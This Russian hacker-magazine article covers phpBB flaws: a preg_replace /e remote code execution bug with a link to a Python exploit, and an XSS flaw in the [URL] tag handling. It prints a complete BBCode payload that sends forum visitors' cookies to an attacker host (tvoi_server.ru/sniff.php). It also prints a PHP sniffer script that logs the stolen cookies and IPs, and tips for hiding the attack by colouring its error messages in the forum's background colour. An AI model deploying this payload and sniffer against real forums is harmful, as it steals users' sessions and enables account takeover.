Итоги форумной войны Степан Ильин aka Step Хакер, номер #083, стр. 083-072-4 Все это безобразие становится возможным из-за неправильного использования функции preg_replace(), вызываемой в сценарии viewtopic.php. Объясню на примере. <? $string1="system(“uname -a”)"; $string2=preg_replace('//e',$string1,''); ?> Ключ «e» функции preg_replace указывает на то, что $string1 нужно интерпретировать как PHP-код, т.е. данный пример выполнит на сервере команду uname –a. Если правильно составить запрос к функции подсветки, то внедрить можно совершенно любой код и соответственный выполнить на удаленном сервере любую команду. Эксплоит, написанный на python, можно скачать отсюда — www.securitylab.ru/_Exploits/2005/07/phpbb2015.py. Примечательно, что эта уязвимость стала логическим развитием критического бага, исправленного еще в phpBB 2.0.11. При всей любви хакеров к phpBB, ее разработчики почему-то довольно халтурно зализывают многочисленные ошибки, даже критические. [phpBB <=2.0.16 — межсайтовый скриптинг] Для начала давай вспомним, что из себя представляет межсайтовый скиптинг (Cross Site Scripting). XSS-нападение подразумевает, что хакеру удалось инъектировать свой HTML-код в уязвимый сценарий. В большинстве случаев этот код представляет небольшой JavaScript-сценарий, предназначенный для кражи конфиденциальной информации о пользователях (их cookies, идентификаторы сессий и т.д.). Иногда XSS позволяет обойти механизм аутентификации, а в некоторых случаях — даже выполнить произвольную команду на стороне сервере. Не буду таить: в phpBB подобный багов полно. Наиболее универсальная уязвимость, которая присуще всем phpBB <=2.0.16, была найдена в коде обработки тега [URL]. Недостаточно продуманные регеспы позволяют сделать вложенные BB-теги URL и инъектировать JavaScript-код. Весь эксплоит (antichat.ru/txt/phpbb/)выглядит следующим образом: [color=ЦВЕТ_ФОНА][url]www.ut[url=www.s=''style='font-size:0;color:ЦВЕТ_ФОНА'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://tvoi_server.ru/cgi-bin/sniff.php?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color] Эксплоит, написанный Zadoxlik с antichat.ru, отсылает куки посетителей форума на специальный скрипт-снифер, расположенный по адресу http://tvoi_server.ru/cgi-bin/sniff.php. Этот скрипт может быть установлен на любом бесплатном хостинге с возможностью использования PHP: <?php $cookie = $_GET['c']; $ip = getenv ('REMOTE_ADDR'); $date=date("j F, Y, g:i a"); $referer=getenv ('HTTP_REFERER'); $fp = fopen('cookies.txt', 'a'); fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>'); fclose($fp); ?> Ты, наверное, заметил, что в коде эксплоита есть странный параметр — ЦВЕТ_ФОНА. Автор эксплоита сделал это неслучайно. Дело в том, что эксплоит сработает только у посетителей, использующих Internet Explorer. Opera и Firefox воспринимают такой код некорректно и выводят сообщения об ошибке. Чтобы не выдавать себя, эксплоит маскирует их, отображая сообщения об ошибках цветом фона, т.е. делает их невидимыми. Этот цвет можно взять из текущего шаблона, в частности для стандартной темы он равен — #EFEFEF. |